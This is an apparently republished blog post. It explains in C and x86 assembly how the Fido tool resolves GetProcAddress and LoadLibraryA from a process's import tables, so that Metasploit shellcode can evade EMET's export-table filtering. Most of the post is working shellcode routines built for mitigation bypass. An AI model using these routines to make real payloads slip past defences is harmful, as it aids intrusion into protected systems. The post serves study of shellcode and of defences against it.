Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

Shellcode: Fido and how it resolves GetProcAddress and LoadLibraryA

0
0
Introduction

A tool to modify existing metasploit payloads for windows called Fido was recently published by Joshua Pitts , the author of Backdoor Factory .

Fido will strip this assembly code responsible for resolving API addresses in the export directory and replace it with 1 of 4 methods that obtain GetProcAddress and LoadLibraryA from the Import directory.

The upgrade enables existing payloads from Metasploit to bypass Enhanced Mitigation Experience Toolkit (EMET). EMET for those of you who don’t know defends against memory corruption vulnerabilities on legacy systems that do not support Control Flow Guard (CFG)

Due to the Export Address Table (EAT) Access Filtering (EAF) feature in EMET and overall popularity of Metasploit payloads for exploiting vulnerabilities, detection is not difficult hence the motivation behind writing Fido.

As Joshua points out in his presentation, EMET will reach end of life (EOL) on July 31st 2018, by which time Microsoft probably expects most applications to be protected by CFG which is a much more advanced protection against memory corruption vulnerabilities.

Perhaps it’s an optimistic projection developers will migrate to MSVC 2015 just to benefit from CFG but only time will tell.

Here, I’ve recreated in C and x86 assembly the ideas presented by Joshua, mainly to understand what Fido assembly code does and also to try optimize the examples to be more compact.

Some of the code shown here is derived from IAT code shown in Resolving API addresses in memory but won’t use hashes except for the last 2 when searching for external DLL.

So there are 4 options provided by the Fido tool:

Type Description GPA GPA is in targetbinary IAT (default) LLAGPA LoadlibraryA(LLA)/GPA is in the targetbinary IAT (smallest shellcode option) Extern GPA need DLLName or targetbinary to use Extern LLAGPA need DLLName or targetbinary to use

So let’s examine each approach with both C and assembly code.

GPA

If the executable image being exploited imports GetProcAddress already, we just need to access the address from kernel32.dll which should be in the Import Address Table (IAT).

A bit of trivia for you: Locating GetProcAddress in IAT was used by a Win32 computer virus called Cabanas by Jacky Qwerty/29A… published 20 years ago!


Shellcode: Fido and how it resolves GetProcAddress and LoadLibraryA

gpa.c here

// locate kernel32.dll
for (;imp->Name!=0;imp++)
{
dll = RVA2VA(PDWORD, base, imp->Name);
if ((dll[0] | 0x20202020) == 'nrek' &&
(dll[1] | 0x20202020) == '23le')
{
// now locate GetProcAddress
rva = imp->OriginalFirstThunk;
oft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
rva = imp->FirstThunk;
ft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
for (gpa=NULL;; oft++, ft++)
{
rva = oft->u1.AddressOfData;
ibn = (PIMAGE_IMPORT_BY_NAME)RVA2VA(ULONG_PTR, base, rva);
name = (PDWORD)ibn->Name;
// is this GetProcAddress?
if (name[0] == 'PteG' && name[2] == 'erdd') {
gpa = (LPVOID)ft->u1.Function;
break;
}
}
}
}

The assembly code doesn’t have any bounds checking although it would be trivial enough to enable. We only check for ordinals and skip those to avoid crashing during the compare for GetProcAddress string.

The DLL name is converted to lowercase using 0x20202020 which may or may not be required. It assumes GetProcAddress is imported by the executable module and that it’s imported from kernel32.dll.

; returns pointer to GetProcAddress in ebp
push 30h
pop edx
mov ebx, [fs:edx] ; ebx = peb
mov ebx, [ebx+08h] ; ebx = ImageBaseAddress
add edx, [ebx+3ch] ; eax = e_lfanew
mov esi, [ebx+edx+50h]
add esi, ebx
imp_l0:
lodsd ; OriginalFirstThunk +00h
xchg eax, ebp ; store in ebp
lodsd ; TimeDateStamp +04h
lodsd ; ForwarderChain +08h
lodsd ; Name +0Ch
xchg eax, edx
lodsd ; FirstThunk +10h
xchg eax, edi ; store in edi
mov eax, [edx+ebx]
or eax, 20202020h ; convert to lowercase
cmp eax, 'kern'
jnz imp_l0 ; get next DLL if not equal
mov eax, [edx+ebx+4]
or eax, 20202020h ; convert to lowercase
cmp eax, 'el32'
jnz imp_l0 ; get next DLL if not equal
lea esi, [ebp+ebx] ; esi = OriginalFirstThunk
add edi, ebx ; edi = FirstThunk
imp_l1:
lodsd ; eax = oft->u1.Function, oft++;
scasd ; ft++;
test eax, eax
js imp_l1 ; skip ordinals
cmp dword[eax+ebx+2], 'GetP'
jnz imp_l1
cmp dword[eax+ebx+10], 'ddre'
jnz imp_l1
mov ebp, [edi-4] ; ebp = ft->u1.Function
ret LLAGPA

The next bit of code resolves address of both LoadLibraryA and GetProcAddress from kernel32.dll assuming the image imports both.

llagpa.c here

LPVOID get_imp(PIMAGE_IMPORT_DESCRIPTOR imp,
LPVOID base, PDWORD api)
{
PDWORD name;
LPVOID api_adr;
PIMAGE_THUNK_DATA oft, ft;
PIMAGE_IMPORT_BY_NAME ibn;
DWORD rva;
rva = imp->OriginalFirstThunk;
oft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
rva = imp->FirstThunk;
ft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
for (;; oft++, ft++)
{
// no API left?
if (oft->u1.AddressOfData==0) break;
// skip ordinals
if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) continue;
rva = oft->u1.AddressOfData;
ibn = (PIMAGE_IMPORT_BY_NAME)RVA2VA(ULONG_PTR, base, rva);
name = (PDWORD)ibn->Name;
// have we a match?
if (name[0] == api[0] && name[1] == api[1]) {
api_adr = (LPVOID)ft->u1.Function;
break;
}
}
return api_adr;
}

Then the code which calls get_imp()

// locate kernel32.dll
for (;imp->Name!=0;imp++)
{
dll = RVA2VA(PDWORD, base, imp->Name);
if ((dll[0] | 0x20202020) == 'nrek' &&
(dll[1] | 0x20202020) == '23le')
{
// now locate GetProcAddress and LoadLibraryA
lla = get_imp(imp, base, (PDWORD)"LoadLibraryA");
gpa = get_imp(imp, base, (PDWORD)"GetProcAddress");
break;
}
}

As before with previous GPA code, there is no bounds checking. It assumes both the API are imported from kernel32.dll

; returns
; ebx = pointer to LoadLibraryA
; ebp = pointer to GetProcAddress
push 30h
pop edx
mov ebx, [fs:edx] ; ebx = peb
mov ebx, [ebx+08h] ; ebx = ImageBaseAddress
add edx, [ebx+3ch] ; eax = e_lfanew
mov esi, [ebx+edx+50h]
add esi, ebx
imp_l0:
lodsd ; OriginalFirstThunk +00h
xchg eax, ebp ; store in ebp
lodsd ; TimeDateStamp +04h
lodsd ; ForwarderChain +08h
lodsd ; Name +0Ch
xchg eax, edx ; store in edx
lodsd ; FirstThunk +10h
xchg eax, edi ; store in edi
mov eax, [edx+ebx]
or eax, 20202020h ; convert to lowercase
cmp eax, 'kern'
jnz imp_l0
mov eax, [edx+ebx+4]
or eax, 20202020h ; convert to lowercase
cmp eax, 'el32'
jnz imp_l0
; locate GetProcAddress
mov ecx, 'GetP'
mov edx, 'ddre'
call get_imp
push eax ; save pointer
; locate LoadLibraryA
mov ecx, 'Load'
mov edx, 'aryA'
call get_imp
pop ebp ; ebp = GetProcAddress
xchg eax, ebx ; ebx = LoadLibraryA
ret
get_imp:
push esi
push edi
lea esi, [ebp+ebx] ; esi = OriginalFirstThunk + base
add edi, ebx ; edi = FirstThunk + base
gi_l0:
lodsd ; eax = oft->u1.Function, oft++;
scasd ; ft++;
test eax, eax
js gi_l0 ; skip ordinals
cmp dword[eax+ebx+2], ecx
jnz gi_l0
cmp dword[eax+ebx+10], edx
jnz gi_l0
mov eax, [edi-4] ; eax = ft->u1.Function
gi_l1:
pop edi
pop esi
ret Extern GPA

If the executable doesn’t import GetProcAddress , we obtain it from a DLL that does.

The main difference is that we locate the DLL by hash in the PEB and then search through its imports. Here, I’m using ADVAPI32.DLL as example although you would presumably check what DLL the executable imports API from.

extern_gpa.c here

// for each DLL loaded
for (dte=(PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink;
dte->DllBase != NULL && gpa == NULL;
dte=(PLDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink)
{
// hash the DLL
dll = dte->BaseDllName.Buffer;
for (hash=0, i=0; i<dte->BaseDllName.Length/2; i++) {
hash = ROTR32(hash, 13);
hash += dll[i] | 0x20;
}
// is this our target DLL?
if (hash == DLL_HASH)
{
base = dte->DllBase;
dos = (PIMAGE_DOS_HEADER)base;
nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
rva = dir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
imp = (PIMAGE_IMPORT_DESCRIPTOR) RVA2VA(ULONG_PTR, base, rva);
// locate kernel32.dll
for (;imp->Name!=0;imp++)
{
name = RVA2VA(PDWORD, base, imp->Name);
if ((name[0] | 0x20202020) == 'nrek' &&
(name[1] | 0x20202020) == '23le')
{
// locate GetProcAddress
rva = imp->OriginalFirstThunk;
oft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
rva = imp->FirstThunk;
ft = (PIMAGE_THUNK_DATA)RVA2VA(ULONG_PTR, base, rva);
for (;; oft++, ft++)
{
rva = oft->u1.AddressOfData;
if (rva==0) break;
ibn = (PIMAGE_IMPORT_BY_NAME)RVA2VA(ULONG_PTR, base, rva);
name = (PDWORD)ibn->Name;
// is this GetProcAddress?
if (name[0] == 'PteG' && name[2] == 'erdd') {
gpa = (LPVOID)ft->u1.Function;
break;
}
}
}
}
}
}

The assembly code makes the following assumptions:

ADVAPI32.DLL is loaded into process space and can be found in the PEB ADVAPI32.DLL imports GetProcAddress

If either of the conditions above aren’t true, this code will crash.

; returns pointer to GetProcAddress in ebp
push esi
push edi
push ebx
push 30h
pop edx
mov esi, [fs:edx] ; eax = (PPEB) __readfsdword(0x30);
mov esi, [esi+0ch] ; eax = (PMY_PEB_LDR_DATA)peb->Ldr
mov edi, [esi+0ch] ; edi = ldr->InLoadOrderModuleList.Flink
gapi_l0:
mov edi, [edi] ; edi = dte->InLoadOrderLinks.Flink
mov ebx, [edi+18h] ; ebx = dte->DllBase
gapi_l1:
push edx
movzx ecx, word[edi+44] ; ecx = BaseDllName.Length
mov esi, [edi+48] ; esi = BaseDllName.Buffer
shr ecx, 1
xor eax, eax
cdq
gapi_l2:
lodsw
or al, 0x20
ror edx, 13
add edx, eax
loop gapi_l2
; target DLL?
cmpms "advapi32.dll"
pop edx
jne gapi_l0
; we have target DLL, now search for kernel32.dll
; in import directory
; edx += IMAGE_DOS_HEADER.e_lfanew
add edx, [ebx+3ch]
mov esi, [ebx+edx+50h]
add esi, ebx
imp_l0:
lodsd ; OriginalFirstThunk +00h
xchg eax, ebp ; store in ebp
lodsd ; TimeDateStamp +04h
lodsd ; ForwarderChain +08h
lodsd ; Name +0Ch
xchg eax, edx ; store in edx
lodsd ; FirstThunk +10h
xchg eax, edi ; store in edi
mov eax, [edx+ebx]
or eax, 20202020h ; convert to lowercase
cmp eax, 'kern'
jnz imp_l0
mov eax, [edx+ebx+4]
or eax, 20202020h ; convert to lowercase
cmp eax, 'el32'
jnz imp_l0
; we have it, locate GetProcAddress
lea esi, [ebp+ebx]
add edi, ebx
imp_l1:
lodsd ; eax = oft->u1.Function, oft++;
scasd ; ft++;
test eax, eax
js imp_l1 ; skip ordinals
cmp dword[eax+ebx+ 2], 'GetP'
jnz imp_l1
cmp dword[eax+ebx+10], 'ddre'
jnz imp_l1
mov ebp, [edi-4] ; ebp = ft->u1.Function
pop ebx
pop edi
pop esi
ret Extern LLAGPA

If the executable doesn’t import GetProcAddress and LoadLibraryA , we obtain it from a DLL that does.

extern_llagpa.c here

// for each DLL in PEB
for (dte=(PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink;
dte->DllBase != NULL && gpa == NULL;
dte=(PLDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink)
{
// hash the DLL name
dll = dte->BaseDllName.Buffer;
for (hash=0, i=0; i<dte->BaseDllName.Length/2; i++) {
hash = ROTR32(hash, 13);
hash += dll[i] | 0x20;
}
// is this the target DLL?
if (hash == DLL_HASH)
{
base = dte->DllBase;
dos = (PIMAGE_DOS_HEADER)base;
nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
rva = dir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
imp = (PIMAGE_IMPORT_DESCRIPTOR) RVA2VA(ULONG_PTR, base, rva);
// locate kernel32.dll descriptor
for (;imp->Name!=0;imp++)
{
name = RVA2VA(PDWORD, base, imp->Name);
if ((name[0] | 0x20202020) == 'nrek' &&
(name[1] | 0x20202020) == '23le')
{
// locate GetProcAddress and LoadLibraryA
lla = get_imp(imp, base, (PDWORD)"LoadLibraryA");
gpa = get_imp(imp, base, (PDWORD)"GetProcAddress");
break;
}
}
}
}

The assembly code makes the following assumptions:

ADVAPI32.DLL is loaded into process space and can be found in the PEB ADVAPI32.DLL imports GetProcAddress ADVAPI32.DLL imports LoadLibraryA ; returns
; ebx = pointer to LoadLibraryA
; ebp = pointer to GetProcAddress
push esi
push edi
push 30h
pop edx
mov esi, [fs:edx] ; eax = (PPEB) __readfsdword(0x30);
mov esi, [esi+0ch] ; eax = (PMY_PEB_LDR_DATA)peb->Ldr
mov edi, [esi+0ch] ; edi = ldr->InLoadOrderModuleList.Flink
gapi_l0:
mov edi, [edi] ; edi = dte->InLoadOrderLinks.Flink
mov ebx, [edi+18h] ; ebx = dte->DllBase
gapi_l1:
push edx
movzx ecx, word[edi+44] ; ecx = BaseDllName.Length
mov esi, [edi+48] ; esi = BaseDllName.Buffer
shr ecx, 1
xor eax, eax
cdq
gapi_l2:
lodsw
or al, 0x20
ror edx, 13
add edx, eax
loop gapi_l2
; target DLL?
cmpms "advapi32.dll"
pop edx
jne gapi_l0
; we have target DLL, now search for kernel32.dll
; in import directory
; edx += IMAGE_DOS_HEADER.e_lfanew
add edx, [ebx+3ch]
mov esi, [ebx+edx+50h]
add esi, ebx
imp_l0:
lodsd ; OriginalFirstThunk +00h
xchg eax, ebp ; store in ebp
lodsd ; TimeDateStamp +04h
lodsd ; ForwarderChain +08h
lodsd ; Name +0Ch
xchg eax, edx ; store in edx
lodsd ; FirstThunk +10h
xchg eax, edi ; store in edi
mov eax, [edx+ebx]
or eax, 20202020h ; convert to lowercase
cmp eax, 'kern'
jnz imp_l0
mov eax, [edx+ebx+4]
or eax, 20202020h ; convert to lowercase
cmp eax, 'el32'
jnz imp_l0
; locate GetProcAddress
mov ecx, 'GetP'
mov edx, 'ddre'
call get_imp
push eax ; save pointer
; locate LoadLibraryA
mov ecx, 'Load'
mov edx, 'aryA'
call get_imp
pop ebp ; ebp = GetProcAddress
xchg eax, ebx ; ebx = LoadLibraryA
pop edi
pop esi
ret
; -------------
get_imp:
push esi
push edi
lea esi, [ebp+ebx] ; esi = OriginalFirstThunk + base
add edi, ebx ; edi = FirstThunk + base
gi_l0:
lodsd ; eax = oft->u1.Function, oft++;
scasd ; ft++;
test eax, eax
jz gi_l1 ; get next module if zero
js gi_l0 ; skip ordinals
cmp dword[eax+ebx+2], ecx
jnz gi_l0
cmp dword[eax+ebx+10], edx
jnz gi_l0
mov eax, [edi-4] ; eax = ft->u1.Function
gi_l1:
pop edi
pop esi
ret Summary

The current size of codes although they may shrink/expand in the future.

Type x86 Size GPA 99 LLAGPA 127 Extern GPA 140 Extern LLAGPA 170

Viewing all articles
Browse latest Browse all 12749